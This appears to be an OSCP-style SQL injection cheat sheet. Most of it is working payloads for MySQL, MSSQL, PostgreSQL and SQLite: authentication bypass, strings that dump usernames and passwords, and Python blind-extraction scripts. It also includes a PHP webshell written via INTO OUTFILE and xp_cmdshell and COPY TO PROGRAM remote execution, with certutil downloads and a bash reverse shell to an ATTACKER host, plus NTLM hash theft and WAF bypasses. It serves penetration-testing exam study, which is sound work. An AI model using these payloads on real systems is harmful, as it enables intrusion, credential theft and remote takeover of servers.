SQL Injection Reference
Complete SQLi reference covering MySQL, MSSQL, PostgreSQL, and SQLite. SQLmap is BANNED on OSCP. All injection must be manual.
How It Works
The app takes your input and pastes it into an SQL query. When you type offsec in a login form:
SELECT username,password FROM users WHERE username='offsec' AND password='hashed_pass';
If you type offsec' — the extra quote breaks the query. The database throws an error. That means you control the query.
Type offsec' or 1=1;-- - and the query becomes:
SELECT username,password FROM users WHERE username='offsec' or 1=1;-- -' AND password='hashed_pass';
or 1=1 is always true, -- - comments out the rest. You’re in.
Step 1 — Detect the Injection Point
Use wfuzz to test a form field with known SQLi payloads and special characters:
wfuzz -c -z file,/usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "username=FUZZ&password=bar" -u http://TARGET/login.php
wfuzz -c -z file,/usr/share/seclists/Fuzzing/special-chars.txt -d "username=FUZZ&password=bar" -u http://TARGET/login.php
wfuzz -c -z file,/usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt -d "username=FUZZ&password=bar" -u http://TARGET/login.php -p "127.0.0.1:8080:HTTP"
Or test manually in Burp Repeater:
'
"
;
' or 1=1-- -
' or 1=1;-- -
What to look for in the response:
- Database error message → error-based SQLi
- Login succeeds or page content changes → in-band SQLi (try UNION)
- No visible change → test blind SQLi
Step 2 — Identify the Database
The error message tells you:
You have an error in your SQL syntax→ MySQLUnclosed quotation mark... Microsoft SQL Server→ MSSQLERROR: syntax error at or near→ PostgreSQL
Comment styles:
| DB | Comment | Example |
|---|---|---|
| MySQL | -- - or # | ' or 1=1-- - |
| MSSQL | -- | ' or 1=1-- |
| PostgreSQL | -- | ' or 1=1-- |
⚠️ MySQL needs a space after --. Use -- - to guarantee it. MSSQL/PostgreSQL don’t need the extra -.
⚠️ In URL-encoded POST data, spaces become +. So -- - becomes --+- in Burp.
Step 3 — Choose Your Attack
| Type | When | Speed |
|---|---|---|
| Error-based | Error messages show on page | Fast |
| UNION-based | App displays query results on page | Fast |
| Stacked queries | ; runs a second statement (test with WAITFOR/SLEEP) | Instant RCE on MSSQL |
| Boolean blind | Page changes (but no errors/data) | Slow |
| Time-based blind | No visible change at all | Slowest |
⚠️ MSSQL priority: If you’re on MSSQL (IIS + ASP.NET + SqlClient), test stacked queries EARLY with '; WAITFOR DELAY '0:0:5'--. If it works, skip everything else and go straight to xp_cmdshell.
→ Before committing to any attack, run the Detection Checklist below. 5 minutes, 7 tests, no more tunnel vision.
SQLi Detection Checklist (run ALL of these, in order, before committing to an attack)
Don’t pick one attack and tunnel-vision on it. Run every test below. Takes 5 minutes. Tells you exactly what works.
Test 1 — Does injection exist?
Put ' in the field. Does the app break, show an error, or behave differently?
- YES → injectable. Continue testing.
- NO → try
",\,1 OR 1=1,). If nothing breaks, probably not injectable.
Test 2 — Auth bypass?
' OR 1=1--
' OR 1=1-- -
Does it log you in? If yes, you’re in.
Test 3 — Error-based? (look at the response from Test 1)
Did the ' test show a database error message on the page? If yes:
MySQL: ' OR 1=1 IN (SELECT version())-- -
MSSQL: ' AND 1=cast((SELECT DB_NAME()) AS int)--
Postgres: ' AND 1=cast((SELECT version()) AS int)--
If the error message contains the version or DB name → error-based works. Use it.
Test 4 — UNION-based?
' ORDER BY 1-- -
' ORDER BY 5-- -
' ORDER BY 10-- -
Find the column count, then try UNION SELECT with placeholders. If ORDER BY works but UNION keeps failing → stop. Move to Test 5.
Test 5 — Stacked queries? (CRITICAL — especially on MSSQL)
MSSQL: '; WAITFOR DELAY '0:0:5'--
MySQL: '; SELECT SLEEP(5)-- - (usually fails in PHP apps)
Postgres: '; SELECT pg_sleep(5)--
Did the response take 5 seconds? → stacked queries work. On MSSQL → skip data extraction, go straight to xp_cmdshell.
Test 6 — Boolean blind?
' AND 1=1-- - → page looks normal?
' AND 1=2-- - → page looks different?
If the two pages look different → boolean blind works. Script with Python.
Test 7 — Time-based blind? (last resort)
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
MSSQL: '; IF(1=1) WAITFOR DELAY '0:0:5'-- (this IS stacked queries — same as Test 5)
Postgres: ' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)--
⚠️ MSSQL note: WAITFOR DELAY requires stacked queries. If Test 5 worked, skip to xp_cmdshell.
Summary:
| Test | What you learn | Speed |
|---|---|---|
| Auth bypass | Can you just log in? | Instant |
| Error-based | Data comes back in error messages | Fast |
| UNION | Data comes back in page content | Fast |
| Stacked queries | Can run separate statements (RCE on MSSQL!) | Instant RCE |
| Boolean blind | Page changes = true/false | Slow (script it) |
| Time-based blind | Response delay = true/false | Slowest (script it) |
Authentication Bypass
Put these in the username field:
offsec' or 1=1;-- -
admin' or 1=1;-- -
' or 1=1;-- -
' or 1=1-- -
' or 1=1#
admin'-- -
') or ('1'='1'-- -
" or 1=1-- -
Why it works:
SELECT * FROM users WHERE username='offsec' or 1=1;-- -' AND password='...'
-- ^^^^^^^^ ^^^^^^^^^^^^^^^^^^
-- always true commented out
Error-Based SQLi
' or 1=1 in (SELECT version())-- -
' or 1=1 in (SELECT database())-- -
' or 1=1 in (SELECT schema_name FROM information_schema.schemata LIMIT 0,1)-- -
' or 1=1 in (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)-- -
' or 1=1 in (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)-- -
' or 1=1 in (SELECT group_concat(username,';',password SEPARATOR '\n\n') FROM users)-- -
MySQL — extractvalue():
' AND extractvalue(1, concat(0x3a, database()))-- -
' AND extractvalue(1, concat(0x3a, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- -
' AND extractvalue(1, concat(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)))-- -
' AND extractvalue(1, concat(0x3a, (SELECT concat(username,';',password) FROM users LIMIT 0,1)))-- -
0x3a = :. LIMIT 0,1 = first row, LIMIT 1,1 = second row.
⚠️ extractvalue() truncates to ~32 chars. Use SUBSTRING() for long data:
' AND extractvalue(1, concat(0x3a, SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 30)))-- -
' AND extractvalue(1, concat(0x3a, SUBSTRING((SELECT password FROM users LIMIT 0,1), 31, 30)))-- -
MySQL — updatexml() (if extractvalue blocked):
' AND updatexml(1, concat(0x3a, (SELECT version())), 1)-- -
' AND updatexml(1, concat(0x3a, (SELECT concat(username,';',password) FROM users LIMIT 0,1)), 1)-- -
MSSQL — cast() / convert():
' AND 1=cast((SELECT @@version) AS int)--
' AND 1=cast((SELECT DB_NAME()) AS int)--
' AND 1=cast((SELECT TOP 1 name FROM sysdatabases) AS int)--
' AND 1=cast((SELECT TOP 1 name FROM sysobjects WHERE xtype='U') AS int)--
' AND 1=cast((SELECT TOP 1 username FROM users) AS int)--
' AND 1=cast((SELECT TOP 1 password FROM users) AS int)--
MSSQL next row — use NOT IN (no LIMIT):
' AND 1=cast((SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND name NOT IN ('users')) AS int)--
' AND 1=cast((SELECT TOP 1 username FROM users WHERE username NOT IN ('admin')) AS int)--
PostgreSQL — cast():
' AND 1=cast((SELECT version()) AS int)--
' AND 1=cast((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1) AS int)--
' AND 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) AS int)--
' AND 1=cast((SELECT username FROM users LIMIT 1) AS int)--
Next row: add OFFSET 1, OFFSET 2, etc.
UNION-Based SQLi
Step 1 — Find column count:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 6-- - (ERROR → only 5 columns)
In Burp: '+ORDER+BY+1--+-
Step 2 — Find visible columns:
' UNION SELECT 'A1','B2','C3','D4','D5'-- -
In Burp: '+union+select+'A1','B2','C3','D4','D5'--+-
If type errors, use NULL: ' UNION SELECT NULL,'B2',NULL,NULL,NULL-- -
Step 3 — Extract data:
MySQL:
'+union+select+'A1',database(),'C3','D4','D5'--+-
'+union+select+'A1',table_name,'C3','D4','D5'+from+information_schema.tables+where+table_schema=database()--+-
'+union+select+'A1',column_name,'C3','D4','D5'+from+information_schema.columns+where+table_name='users'--+-
'+union+select+'A1',group_concat(username,'@@',password),'C3','D4','D5'+from+users--+-
Row by row if group_concat truncated:
'+union+select+'A1',concat(username,'@@',password),'C3','D4','D5'+from+users+LIMIT+0,1--+-
'+union+select+'A1',concat(username,'@@',password),'C3','D4','D5'+from+users+LIMIT+1,1--+-
MSSQL:
' UNION SELECT NULL,@@version,NULL,NULL,NULL--
' UNION SELECT NULL,DB_NAME(),NULL,NULL,NULL--
' UNION SELECT NULL,name,NULL,NULL,NULL FROM master..sysdatabases--
' UNION SELECT NULL,name,NULL,NULL,NULL FROM sysobjects WHERE xtype='U'--
' UNION SELECT NULL,name,NULL,NULL,NULL FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')--
' UNION SELECT NULL,username+':'+password,NULL,NULL,NULL FROM users--
Row by row (no LIMIT in MSSQL):
' UNION SELECT TOP 1 NULL,username,NULL,NULL,NULL FROM users--
' UNION SELECT TOP 1 NULL,username,NULL,NULL,NULL FROM users WHERE username NOT IN ('admin')--
PostgreSQL:
' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='public'--
' UNION SELECT NULL,column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT NULL,username||':'||password,NULL,NULL FROM users--
SQLite:
' UNION SELECT NULL,group_concat(tbl_name),NULL FROM sqlite_master WHERE type='table'--
' UNION SELECT NULL,sql,NULL FROM sqlite_master WHERE tbl_name='users'--
' UNION SELECT NULL,group_concat(username||':'||password,char(10)),NULL FROM users--
The information_schema Cheat Sheet
MySQL and PostgreSQL:
| What you want | Query |
|---|---|
| All databases | SELECT schema_name FROM information_schema.schemata |
| Tables in current DB | SELECT table_name FROM information_schema.tables WHERE table_schema=database() |
| Columns in a table | SELECT column_name FROM information_schema.columns WHERE table_name='users' |
| Dump data | SELECT group_concat(user,';',passwd SEPARATOR '\n\n') FROM users |
MSSQL (different system tables):
| What you want | MSSQL Query |
|---|---|
| All databases | SELECT name FROM master..sysdatabases |
| Tables | SELECT name FROM sysobjects WHERE xtype='U' |
| Columns | SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users') |
SQLi → File Read / Webshell (MySQL)
Read a file:
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL,NULL-- -
' UNION SELECT NULL,LOAD_FILE('C:/xampp/htdocs/wp-config.php'),NULL,NULL,NULL-- -
Write a webshell:
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL,NULL,NULL INTO OUTFILE '/var/www/html/shell.php'-- -
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL,NULL,NULL INTO OUTFILE 'C:/xampp/htdocs/shell.php'-- -
Then: http://TARGET/shell.php?cmd=whoami
⚠️ Fails if: file exists, no FILE privilege, or secure_file_priv restricts paths.
Stacked Queries — MSSQL RCE (xp_cmdshell)
MSSQL supports ; to run multiple statements. MySQL does NOT in most PHP apps.
Detect: '; WAITFOR DELAY '0:0:5'-- → 5 second delay = stacked queries work.
Step 1 — Enable xp_cmdshell:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
Step 2 — Run commands (output is blind):
'; EXEC xp_cmdshell 'whoami';--
Confirm with ping: '; EXEC xp_cmdshell 'ping ATTACKER_IP';--
Listen: sudo tcpdump -i tun0 icmp
Step 3 — Reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o shell.exe
python3 -m http.server 80
'; EXEC xp_cmdshell 'certutil -urlcache -f http://ATTACKER/shell.exe C:\Windows\Temp\shell.exe';--
'; EXEC xp_cmdshell 'C:\Windows\Temp\shell.exe';--
If xp_cmdshell denied — steal hash:
'; EXEC master..xp_dirtree '\\ATTACKER_IP\share\';--
Catch: sudo responder -I tun0 -A → crack with hashcat -m 5600
URL-encoded for Burp:
';+EXEC+sp_configure+'show+advanced+options',1;+RECONFIGURE;--
';+EXEC+sp_configure+'xp_cmdshell',1;+RECONFIGURE;--
';+EXEC+xp_cmdshell+'whoami';--
';+EXEC+xp_cmdshell+'ping+ATTACKER_IP';--
Stacked Queries — PostgreSQL RCE
'; COPY (SELECT '') TO PROGRAM 'whoami';--
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"';--
Requires superuser role. Check with \du in psql.
Blind SQLi — Boolean-Based
Confirm: offsec' or 1=1-- - vs offsec' or 1=2-- - → different pages?
Extract one char at a time:
offsec' AND substring(database(),1,1)='a'-- - → FALSE
offsec' AND substring(database(),1,1)='o'-- - → TRUE
offsec' AND substring(database(),2,1)='f'-- - → TRUE
offsec' AND (SELECT substring(password,1,1) FROM users LIMIT 1)='a'-- -
Blind SQLi — Time-Based
-- MySQL
offsec' AND IF(1=1,SLEEP(2),0)-- -
offsec' AND IF(substring(database(),1,1)='o',SLEEP(2),0)-- -
-- MSSQL
offsec'; IF(1=1) WAITFOR DELAY '0:0:5'--
offsec'; IF(SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:5'--
-- PostgreSQL
offsec'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
Blind SQLi — Python Scripts (SQLmap is BANNED)
Boolean-based extractor:
#!/usr/bin/env python3
import requests, string
url = "http://TARGET/login.php"
true_indicator = "Welcome"
charset = string.ascii_letters + string.digits + "!@#$%^&*()-_=+.,;:"
extracted = ""
for pos in range(1, 50):
found = False
for char in charset:
payload = f"offsec' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1))={ord(char)}-- -"
data = {"username": payload, "password": "anything"}
r = requests.post(url, data=data)
if true_indicator in r.text:
extracted += char
print(f"[+] {pos}: {char} => {extracted}")
found = True
break
if not found:
print(f"[*] Done: {extracted}")
break
Time-based extractor:
#!/usr/bin/env python3
import requests, string
url = "http://TARGET/login.php"
charset = string.ascii_letters + string.digits + "!@#$%^&*()-_=+.,;:"
extracted = ""
for pos in range(1, 50):
found = False
for char in charset:
payload = f"offsec' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1))={ord(char)},SLEEP(3),0)-- -"
data = {"username": payload, "password": "anything"}
try:
r = requests.post(url, data=data, timeout=8)
if r.elapsed.total_seconds() >= 2.5:
extracted += char
print(f"[+] {pos}: {char} => {extracted}")
found = True
break
except requests.exceptions.Timeout:
extracted += char
print(f"[+] {pos}: {char} => {extracted}")
found = True
break
if not found:
print(f"[*] Done: {extracted}")
break
Time payload per DB:
| DB | Payload |
|---|---|
| MySQL | IF(condition,SLEEP(3),0) |
| MSSQL | IF(condition) WAITFOR DELAY '0:0:3' |
| PostgreSQL | CASE WHEN condition THEN pg_sleep(3) ELSE pg_sleep(0) END |
Filter / WAF Bypass
-- Space blocked? Use comments
'+union+select+/**/NULL,version(),NULL--+-
-- UNION blocked? Case variation
'+uNiOn+sElEcT+'A1',database(),'C3'--+-
-- Quotes blocked? Use hex
... WHERE table_name=0x7573657273 (hex for 'users')
-- AND/OR blocked?
' && 1=1-- -
' || 1=1-- -
-- Double URL encoding (if WAF decodes once)
%2527+or+1%253d1--+-